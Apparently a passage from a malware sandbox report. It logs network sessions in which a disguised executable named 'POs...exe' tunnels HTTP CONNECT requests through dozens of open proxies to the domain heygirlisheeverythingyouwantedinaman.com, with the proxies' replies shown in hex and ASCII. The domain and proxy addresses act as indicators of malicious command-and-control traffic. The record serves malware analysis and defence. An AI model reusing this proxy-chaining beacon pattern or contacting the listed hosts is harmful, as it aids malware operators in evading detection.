20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 33 36 36 32 36 35 30 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003903662650"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1447	192.168.2.11	54636	18.117.144.248	9080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.913516998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.131040096 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:26 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1448	192.168.2.11	52987	162.214.102.195	60891	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.916393042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.938878059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.939090967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.939053059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.985522032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1449	192.168.2.11	54631	199.58.184.97	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.918781042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1450	192.168.2.11	54556	47.100.236.23	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.923624992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.299381971 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 36 31 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313861"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1451	192.168.2.11	53012	65.49.82.7	58195	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:25.927334070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.938883066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.939094067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.939054966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:49.985533953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:01.987337112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:13.987329960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:37.987274885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:26.001564026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1452	192.168.2.11	54618	111.90.150.109	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.013653040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1453	192.168.2.11	54661	192.154.246.96	9000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.014062881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1454	192.168.2.11	54595	94.177.106.178	2324	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.019264936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1455	192.168.2.11	54620	157.185.173.217	26589	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.019411087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.876036882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1456	192.168.2.11	54619	103.23.100.1	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.019872904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1457	192.168.2.11	50218	34.84.95.189	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.025312901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.905606031 CET	34	IN	HTTP/1.1 503 Service Unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1458	192.168.2.11	50265	13.40.239.130	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.031573057 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.323096037 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:26 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1459	192.168.2.11	54672	104.16.108.234	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.041801929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.196744919 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1460	192.168.2.11	54124	185.5.209.101	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.051511049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:41.936077118 CET	749	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:41 GMT Server: Apache/2.4.56 (Win64) OpenSSL/3.0.8 mod_jk/1.2.43 Content-Length: 530 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 61 64 6d 69 6e 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at admin@example.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1461	192.168.2.11	54654	177.38.5.16	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.058660984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1462	192.168.2.11	54657	203.218.172.225	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.061165094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1463	192.168.2.11	54764	211.234.125.5	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.062813044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1464	192.168.2.11	50290	94.131.203.7	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.074764013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.141902924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.087368011 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1465	192.168.2.11	54714	172.67.250.212	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.085787058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.239990950 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1466	192.168.2.11	54706	162.159.242.252	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.088365078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
